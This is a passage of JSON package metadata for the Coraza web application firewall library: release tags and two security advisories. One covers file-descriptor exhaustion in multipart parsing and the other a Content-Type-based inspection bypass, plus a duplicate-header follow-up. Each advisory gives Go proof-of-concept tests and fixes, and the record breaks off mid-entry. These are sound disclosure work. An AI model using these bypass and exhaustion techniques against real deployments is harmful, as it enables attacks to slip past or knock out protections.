%2Fcoraza/tags/v2.0.0-beta.6/manifests"},{"name":"v2.0.0-beta.5","sha":"09f241f5b86c23f151c893d2a17eab5bf45a7ce2","kind":"commit","published_at":"2021-12-10T18:58:27.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.5","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.5/manifests"},{"name":"v2.0.0-beta.4","sha":"24af0c8cf4f10bab558740b595712be3b85493ec","kind":"commit","published_at":"2021-12-06T21:49:14.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.4","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.4/manifests"},{"name":"v2.0.0-beta.3","sha":"49869b6ff2eaf486fc5e505dc6b521bbc69f3990","kind":"commit","published_at":"2021-12-01T20:33:16.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.3/manifests"},{"name":"v2.0.0-beta.2","sha":"4dd0ba7542b4bfa5eed6e5f7ac7620539b9e23cc","kind":"commit","published_at":"2021-11-26T15:14:46.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.2/manifests"},{"name":"v2.0.0-beta.1","sha":"89239d658eef764d955716aa143fa08262d3cae9","kind":"commit","published_at":"2021-11-19T15:49:08.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.1/manifests"},{"name":"v2.0.0-alpha.1","sha":"43e047a61dd4677c56b08b51c781d7a038e20a41","kind":"commit","published_at":"2021-11-14T20:54:59.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-alpha.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-alpha.1/manifests"},{"name":"v1.2.0","sha":"5059f5bb165be760b399bd14ee7f741566f66c0c","kind":"commit","published_at":"2021-09-10T15:35:38.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.2.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"f78c89b471bee5877d6439c5aaa98c15cd75db60","kind":"commit","published_at":"2021-09-06T21:19:44.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.1.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"083a4637e7a919004c86ca0a437ec1a1d8df4e76","kind":"commit","published_at":"2021-09-01T21:44:45.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0/manifests"},{"name":"v1.0.0-beta.7","sha":"fc2e9d7a37b1d9229e6bcd8aecfc36469680ca10","kind":"commit","published_at":"2021-08-27T00:24:32.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.7","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.7/manifests"},{"name":"v1.0.0-beta.6","sha":"fc63d67c7b64ca33f46159daaf62554dd62af759","kind":"commit","published_at":"2021-08-25T21:17:54.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.6","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.6/manifests"},{"name":"v1.0.0-beta.5","sha":"2b2b7061e26b7340c983e0b0f4a2c2ca22ba76ac","kind":"commit","published_at":"2021-08-23T00:03:47.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.5","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.5/manifests"},{"name":"v1.0.0-beta.4","sha":"f77c1bd1dd48fa80936bc4d01f767debf330eebf","kind":"commit","published_at":"2021-08-21T06:06:04.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.4","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.4/manifests"},{"name":"v1.0.0-beta.3","sha":"879cf8486d69f9f573cfd2c52783b4fbc97d8c79","kind":"commit","published_at":"2021-08-18T02:20:21.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.3/manifests"},{"name":"v1.0.0-beta.2","sha":"e45ecda9e6d1038fe5470360427d71047cf81be1","kind":"commit","published_at":"2021-08-09T21:53:17.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.2/manifests"},{"name":"v1.0.0-beta.1","sha":"6ce53c5bcdfa543d4c7477b6ff81fc70be808450","kind":"commit","published_at":"2021-07-29T01:40:56.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v1.0.0-beta.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v1.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v1.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v1.0.0-beta.1/manifests"}]},"repo_metadata_updated_at":"2026-09-23T14:55:14.562Z","dependent_packages_count":34,"downloads":null,"downloads_period":null,"dependent_repos_count":16,"rankings":{"downloads":null,"dependent_repos_count":1.3579489008858037,"dependent_packages_count":1.7020248423244517,"stargazers_count":2.0317817833388294,"forks_count":2.408635289872055,"docker_downloads_count":1.3485080237471807,"average":1.7697797680336642},"purl":"pkg:golang/github.com/corazawaf/coraza/v3","advisories":[{"uuid":"GSA_kwCzR0hTQS1ycDl2LTd4djMtcjZnM84AB8GB","url":"https://github.com/advisories/GHSA-rp9v-7xv3-r6g3","title":"Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor","description":"## Summary\n\n`defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`, line 69:\n\n```go\nfor {\n    p, err := mr.NextPart()\n    // ...\n    temp, err := os.CreateTemp(storagePath, \"crzmp*\")\n    defer temp.Close() // wrong scope\n    io.Copy(temp, p)\n}\n```\n\nEach iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously.\n\nThe body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.\n\nFix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it.\n\n## PoC\n\nTested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64.\n\nAdd this file at `internal/bodyprocessors/poc_fd_test.go` and run:\n\n```text\ngo test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...\n```\n\n```go\npackage bodyprocessors_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\n\t\"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes\"\n\t\"github.com/corazawaf/coraza/v3/internal/bodyprocessors\"\n\t\"github.com/corazawaf/coraza/v3/internal/corazawaf\"\n)\n\nfunc countFDs() int {\n\te, _ := os.ReadDir(\"/proc/self/fd\")\n\treturn len(e)\n}\n\nfunc TestMultipartFDLeak(t *testing.T) {\n\tboundary := \"testboundary\"\n\tvar sb strings.Builder\n\tfor i := 0; i \u003c 500; i++ {\n\t\tfmt.Fprintf(\u0026sb, \"--%s\\r\\n\", boundary)\n\t\tfmt.Fprintf(\u0026sb, \"Content-Disposition: form-data; name=\\\"f%d\\\"; filename=\\\"f%d.txt\\\"\\r\\n\", i, i)\n\t\tsb.WriteString(\"\\r\\n\")\n\t\tsb.WriteString(\"X\\r\\n\")\n\t}\n\tfmt.Fprintf(\u0026sb, \"--%s--\\r\\n\", boundary)\n\n\tmp, _ := bodyprocessors.GetBodyProcessor(\"multipart\")\n\tbaseline := countFDs()\n\n\tvar peak int64\n\tdone := make(chan struct{})\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase \u003c-done:\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tn := int64(countFDs())\n\t\t\t\tfor {\n\t\t\t\t\tcur := atomic.LoadInt64(\u0026peak)\n\t\t\t\t\tif n \u003c= cur || atomic.CompareAndSwapInt64(\u0026peak, cur, n) {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\tv := corazawaf.NewTransactionVariables()\n\tmp.ProcessRequest(strings.NewReader(sb.String()), v,\n\t\tplugintypes.BodyProcessorOptions{\n\t\t\tMime:        \"multipart/form-data; boundary=\" + boundary,\n\t\t\tStoragePath: t.TempDir(),\n\t\t})\n\tclose(done)\n\twg.Wait()\n\n\tt.Logf(\"baseline=%d  peak=%d  spike=+%d\",\n\t\tbaseline, atomic.LoadInt64(\u0026peak),\n\t\tatomic.LoadInt64(\u0026peak)-int64(baseline))\n}\n```\n\nOutput:\n\n```text\nbaseline=7  peak=506  spike=+499\n```\n\nThe spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline.\n\n## Impact\n\n- **No authentication required.** Any endpoint that accepts multipart uploads is affected.\n- **fd exhaustion at ~6.8MB body (~65k parts).** `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1.\n- **CRS false positives / DoS.** With CRS loaded, rule `200001` then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.\n- **Process-wide impact.** While the fd table is full the process can't open sockets or files for anything else either.\n- **Scope.** Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-08T17:52:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-rp9v-7xv3-r6g3","https://github.com/corazawaf/coraza/commit/1bc39036e99c88e7de60cf8e6bb55ee4c311223c","https://github.com/corazawaf/coraza/releases/tag/v3.8.0","https://github.com/advisories/GHSA-rp9v-7xv3-r6g3"],"source_kind":"github","identifiers":["GHSA-rp9v-7xv3-r6g3","CVE-2026-107834"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-08T18:00:10.214Z","updated_at":"2026-10-16T06:00:29.152Z","epss_percentage":0.00322,"epss_percentile":0.23589,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDl2LTd4djMtcjZnM84AB8GB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycDl2LTd4djMtcjZnM84AB8GB","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.8.0"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDl2LTd4djMtcjZnM84AB8GB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13MjUzLW02NmctcngyNM4AB8GA","url":"https://github.com/advisories/GHSA-w253-m66g-rx24","title":"Coraza: URL-encoded form Content-Type parameters bypass Coraza body inspection","description":"### Summary\n\nCoraza fails to inspect URL-encoded form bodies when their valid `Content-Type` contains a media-type parameter, for example:\n\n```http\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n```\n\nAn unauthenticated attacker can use this header to hide the complete form body from custom Coraza rules that inspect `ARGS_POST` or `REQUEST_BODY`, while the bundled Go HTTP middleware forwards the body and the backend parses it normally.\n\nThis is a deterministic request-body inspection bypass. Suggested severity: **Medium**. Current OWASP CRS includes rule `901340`, which forces fallback inspection and mitigates this path; this report does not claim a bypass of an unmodified current CRS ruleset\n\n### Details\n\nThe affected component is request-body processor selection in [`internal/corazawaf/transaction.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L371-L390).\n\n`Transaction.AddRequestHeader` compares the complete lowercased header value using exact equality:\n\n```go\ncase \"content-type\":\n    val := strings.ToLower(value)\n    if val == \"application/x-www-form-urlencoded\" {\n        tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n    } else if strings.HasPrefix(val, \"multipart/form-data\") {\n        tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n    }\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 383-390](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L383-L390).\n\nThe media type of `application/x-www-form-urlencoded; charset=UTF-8` remains `application/x-www-form-urlencoded`; `charset` is a parameter. Because Coraza compares the entire header, the comparison fails and `REQBODY_PROCESSOR` remains empty.\n\n`ProcessRequestBody` treats the empty processor as success:\n\n```go\nrbp = strings.ToLower(rbp)\nif rbp == \"\" {\n    tx.WAF.Rules.Eval(types.PhaseRequestBody, tx)\n    return tx.interruption, nil\n}\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 1115-1120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L1115-L1120).\n\nCoraza therefore evaluates phase 2 without parsing the body and without setting `REQBODY_ERROR`. The [URL-encoded processor that normally populates `ARGS_POST`, `REQUEST_BODY`, and `REQUEST_BODY_LENGTH`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/urlencoded.go#L19-L33) is never invoked.\n\nThe [bundled middleware buffers and reconstructs the full request body before invoking the backend](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/http/middleware.go#L69-L97). The backend consequently receives data that was absent from Coraza's body variables.\n\nThe issue exists in the standard compiled implementation; no special build tag is required. Request-body access defaults to Off in an empty configuration, but Coraza's recommended configuration enables it with `SecRequestBodyAccess On`.\n\n### PoC\n\nSave this self-contained test as `parameterized_form_bypass_test.go` in the Coraza repository root:\n\n```go\npackage coraza_test\n\nimport (\n    \"net/http\"\n    \"net/http/httptest\"\n    \"strings\"\n    \"testing\"\n\n    coraza \"github.com/corazawaf/coraza/v3\"\n    corazahttp \"github.com/corazawaf/coraza/v3/http\"\n)\n\nfunc TestParameterizedFormInspectionBypass(t *testing.T) {\n    cfg := coraza.NewWAFConfig().WithDirectives(`\nSecRuleEngine On\nSecRequestBodyAccess On\nSecRule ARGS_POST:cmd \"@streq evil\" \"id:910001,phase:2,deny,status:403,t:none\"\n`)\n\n    waf, err := coraza.NewWAF(cfg)\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    backendSaw := \"\"\n    handler := corazahttp.WrapHandler(waf, http.HandlerFunc(\n        func(w http.ResponseWriter, r *http.Request) {\n            if err := r.ParseForm(); err != nil {\n                t.Fatal(err)\n            }\n            backendSaw = r.PostForm.Get(\"cmd\")\n            w.WriteHeader(http.StatusNoContent)\n        },\n    ))\n\n    req := httptest.NewRequest(\n        http.MethodPost,\n        \"http://example.test/\",\n        strings.NewReader(\"cmd=evil\"),\n    )\n    req.Header.Set(\n        \"Content-Type\",\n        \"application/x-www-form-urlencoded; charset=UTF-8\",\n    )\n\n    rec := httptest.NewRecorder()\n    handler.ServeHTTP(rec, req)\n\n    if rec.Code != http.StatusNoContent {\n        t.Fatalf(\"expected request to reach backend, status=%d\", rec.Code)\n    }\n    if backendSaw != \"evil\" {\n        t.Fatalf(\"backend did not receive malicious value: %q\", backendSaw)\n    }\n}\n```\n\nRun:\n\n```bash\ngo test . -run TestParameterizedFormInspectionBypass -v\n```\n\nObserved:\n\n```text\n=== RUN   TestParameterizedFormInspectionBypass\n--- PASS: TestParameterizedFormInspectionBypass (0.00s)\nPASS\n```\n\nThe test passes only when Coraza fails to return its configured 403 response and the backend parses `cmd=evil`.\n\nAs a control, change the header to:\n\n```http\nContent-Type: application/x-www-form-urlencoded\n```\n\nCoraza then selects the URL-encoded processor, exposes `cmd=evil` as `ARGS_POST:cmd`, and returns 403 before the backend runs.\n\n### Impact\n\nThis is a parser differential and request-body inspection bypass affecting applications protected by custom Coraza rules.\n\nAn unauthenticated attacker can add `charset=UTF-8` to an ordinary form request. Coraza then runs phase-2 rules without the submitted parameters and reports no body-processing failure, while the application receives and processes those parameters.\n\nRules relying on these variables are affected on this path:\n\n- `ARGS_POST`\n- `ARGS` for POST-derived values\n- `ARGS_POST_NAMES`\n- `ARGS_NAMES`\n- `REQUEST_BODY`\n- `REQUEST_BODY_LENGTH`\n\nThis defeats custom rules intended to reject injection strings, dangerous commands, or forbidden business values in form fields. The final application impact depends on the backend behavior that the bypassed rule was intended to protect.\n\nAffected operators are those who enable request-body access and rely on automatic URL-encoded parsing without current CRS rule `901340`, `ctl:forceRequestBodyVariable=On`, an explicitly forced processor, or equivalent backend validation.\n\nThe fix is to parse Content-Type according to MIME syntax and compare the normalized media type without parameters, for example with Go's `mime.ParseMediaType`. If an expected body has no processor, Coraza should expose an explicit processing error instead of silently evaluating phase 2 with empty variables.\n\n## Follow-up (2026-09-30): duplicate Content-Type headers desynchronize processor selection from the parsed body\n\nThe original fix made body-processor selection tolerant of media-type parameters (`charset=UTF-8` etc.) by switching from exact equality to `strings.HasPrefix`. A second, distinct gap was found while reviewing that same selection code: it never accounted for a request carrying *more than one* `Content-Type` header.\n\n### Root cause\n\n`Transaction.AddRequestHeader` is called once per header by the integrator (documented contract). Its `content-type` case runs on every call:\n\n```go\ncase \"content-type\":\n    val := strings.ToLower(value)\n    if strings.HasPrefix(val, \"application/x-www-form-urlencoded\") {\n        tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n    } else if strings.HasPrefix(val, \"multipart/form-data\") {\n        tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n    }\n```\n\nA request with two `Content-Type` headers therefore has its body-processor selection silently overwritten by the *last* one, since each call unconditionally calls `Set`. Meanwhile, `ProcessRequestBody` extracts the `mimeType` it passes to whichever processor gets selected from `requestHeaders.Get(\"content-type\")[0]` -- the *first* value (`internal/corazawaf/transaction.go`, a few hundred lines below `AddRequestHeader`) -- and Go's `net/http` `Header.Get` (what a typical backend uses) also returns only the first value. So selection follows the last header while everything else follows the first, and the two can disagree entirely.\n\n### PoC\n\n```http\nContent-Type: multipart/form-data; boundary=XyZ\nContent-Type: application/x-www-form-urlencoded\n```\n\nwith a genuine multipart body containing `cmd=evil` and a `shell.php` file upload. Against commit `19b86824`:\n\n- `reqbodyProcessor` resolves to `\"URLENCODED\"` (the second, spoofed header wins).\n- The URL-encoded processor runs against the raw multipart body text, parses without error, and produces nothing.\n- `ARGS_POST:cmd`, `FILES`, and `FILES_NAMES` are all empty -- the entire payload is invisible to any rule inspecting those variables.\n- The backend (or any integrator using `Header.Get`, which reads the first value) still sees `Content-Type: multipart/form-data` and parses `cmd=evil` and the uploaded `shell.php` normally.\n\nCurrent OWASP CRS includes rule `920620` (`Content-Type` header sanity check via count/format), which catches this shape; the recommended `coraza.conf-recommended` has no equivalent, so a Coraza deployment with only custom rules (no CRS) is exposed.\n\n### Fix\n\nOnly the first `Content-Type` header may set `reqbodyProcessor`: guard the existing logic with `if tx.variables.reqbodyProcessor.Get() == \"\"`. This makes header-driven processor selection consistent with `ProcessRequestBody`'s own `mimeType` extraction and with standard `Header.Get` semantics, without a new field (nothing else can set `reqbodyProcessor` before headers finish processing; `ctl:requestBodyProcessor` and `ForceRequestBodyVariable` both run afterward, in phase 1 rule evaluation and body processing respectively, and are unaffected).\n\nAs defense in depth, a rule author can also detect the anomaly directly today, with no code change: `SecRule \u0026REQUEST_HEADERS:Content-Type \"@gt 1\" \"deny,...\"` -- left as a suggested addition to `coraza.conf-recommended` rather than bundled into this fix, since it is a policy choice (deny vs. flag) rather than a correctness requirement.\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro shape were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source, traced the `mimeType`/`Header.Get` first-value asymmetry, wrote and ran a fresh PoC against commit `19b86824` confirming the full bypass (`ARGS_POST`/`FILES`/`FILES_NAMES` all empty), verified the fix closes it, and drafted this addendum.\n- **Review performed:** reproduced by hand against a clean checkout of commit `19b86824` before and after the fix using the real `Transaction` API (`AddRequestHeader` x2, `WriteRequestBody`, `ProcessRequestBody`); confirmed the regression test fails deterministically against the pre-fix code and passes after it; ran the full test suite, the build-tag matrix (`coraza.no_memoize`, `coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`), and the `testing/coreruleset` CRS regression suite, all green; reviewed by a human maintainer (fzipi) before this addendum was submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-w253-m66g-rx24/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: only the first `Content-Type` header now selects the body processor (the one a typical backend reads with `Header.Get`), and leading whitespace in the media type, including Unicode whitespace that `net/http` accepts, is trimmed the way `mime.ParseMediaType` trims it. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every form and multipart parser accepts these Content-Type values. The previous vector used Scope Unchanged (5.3).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-08T17:51:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-w253-m66g-rx24","https://github.com/corazawaf/coraza/commit/3b6241ef895b089c66a59e51068a81cf40986e4d","https://github.com/corazawaf/coraza/commit/a55950ffa161f33a29e14f87d926d7df3b85cc74","https://github.com/corazawaf/coraza/commit/dd100261cf1d2e2b053803a50c9db28dcaaa4b7c","https://github.com/corazawaf/coraza/releases/tag/v3.8.1","https://github.com/advisories/GHSA-w253-m66g-rx24"],"source_kind":"github","identifiers":["GHSA-w253-m66g-rx24"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-08T18:00:10.214Z","updated_at":"2026-10-12T08:00:21.777Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13MjUzLW02NmctcngyNM4A